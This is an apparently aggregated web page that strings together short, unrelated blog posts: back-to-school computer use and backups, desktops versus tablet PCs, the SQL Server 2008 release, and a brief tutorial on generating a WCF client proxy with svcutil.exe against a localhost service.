For most students, it is back to school. And when that school opens, expect a lot of research and computer work to ensue. Hence, it is going to be a busy season for kids but also for the computer.

Among the usual things to expect would be typing of reports and for the aspiring professionals, programming using their chosen language. To some, it may also be Adobe Photoshop time as they would need to prepare graphics for presentations to be shown at school. Enumerate a lot of those and you can just imagine what a PC would say. “All those tasks for one computer?”

Normally, most students are equipped with the latest computer technology so breakdowns may be seen as remote. But just the same, in whatever task they are doing, it would be wise to make backups just in case the unfortunate thing of crashes would come forth. This is the best precautionary measure that a student should take since factors like viruses or hardware failures can occur at times they least expect it.

For families with more than one child using the computer, time and schedule of use may be a problem. Normally, they would take turns but you cannot discount the possibility that some siblings may have to do rush work or stay long in one PC. With that in mind, would it be feasible to buy another computer?

At times, this is a scenario to which parents would but a second PC but not necessarily a high-end one. As long as they can browse or type, a lower PC like perhaps a Pentium III or Pentium IV will do. Besides, its just an alternate computer anyway.

The trend in the market today as far as buying computers is going miniature. We have seen the introduction of new miniature desktops to which the demand for them is getting higher. But should this be a cause for alarm for most desktop manufacturers? Apparently there is a difference but what are the chances that the traditional desktop user would turn towards these compact computers for a change?

The answer lies on where a computer would be used and who will actually use it. For example, in the modern offices of today, it is highly unlikely you will see the traditional employee working with tablet PCs. Also, for the hardworking programmers and developers, the use of desktops is still the way to go considering that they need visualization and better control when creating programs.

The same holds true for graphics designers who are sure to prefer desktops when creating images. In all, it all boils down to use and power of the PC. Tablets can be used for navigation or perhaps entertainment. They are not designed for professional undertaking and that is something we all know. While we cannot discount tablet PCs from advancing through the years, who knows how modern computing will be by that time?

Hence, PC tablets should not even be considered by the modern IT personnel for professional use. The best that they can offer is migration of finished documents or presentation files for easy handling. But when it comes to actual work, desktops are still the bet for working wiser.

The long wait is over! SQL Server 2008 is now RTM and is also available in MSDN for MSDN Subscribers! Cant wait to download and play with it

Visual Studio 2008 has made our WCF life a lot easier with the ability to self-host the services and also allow debugging in our service.

What if we were pushed to a situation wherein we need to use the tool svcutil.exe to create our proxy for the client…hmm…

To do so, we need to have our service running. Once the service is up and running, we could generate the proxy by the following command (replace the tags correspondingly) :

   1: svcutil /t:code http://<service_url> 

   2:       /out:<file_name>.cs /config:<file_name>.config

Here is my example :

   1: C:\Users\Chaks\Documents\Visual Studio 2008\Projects\MyService\MyServiceHost>

   2: svcutil /t:code http://localhost:8731/Design_Time_Addresses/MyService/WcfService/ 

   3: /out:MyServiceProxy.cs /config:MyServiceProxy.config

   4: Microsoft (R) Service Model Metadata Tool

   5: [Microsoft (R) Windows (R) Communication Foundation, Version 3.0.4506.648]

   6: Copyright (c) Microsoft Corporation.  All rights reserved.

   7:  

   8: Attempting to download metadata from 'http://localhost:8731/Design_Time_Addresse

   9: s/MyService/WcfService/' using WS-Metadata Exchange or DISCO.

  10: Generating files...

  11: C:\Users\Chaks\Documents\Visual Studio 2008\Projects\MyService\MyServiceHost\MyS

  12: erviceProxy.cs

  13: C:\Users\Chaks\Documents\Visual Studio 2008\Projects\MyService\MyServiceHost\MyS

  14: erviceProxy.config

Now we can add this .cs file to the Client project and copy the .config file contents to the Client’s app.config file and execute the client

We can also instruct svcutil to generate the proxy in the preferred language we want :

   1: svcutil /t:code /language=VB 

   2:      http://localhost:8731/Design_Time_Addresses/MyService/WcfService/ 

   3:          /out:MyServiceProxy.vb /config:MyServiceProxy.config

But svcutil already identifies the language with the extension of our output file name
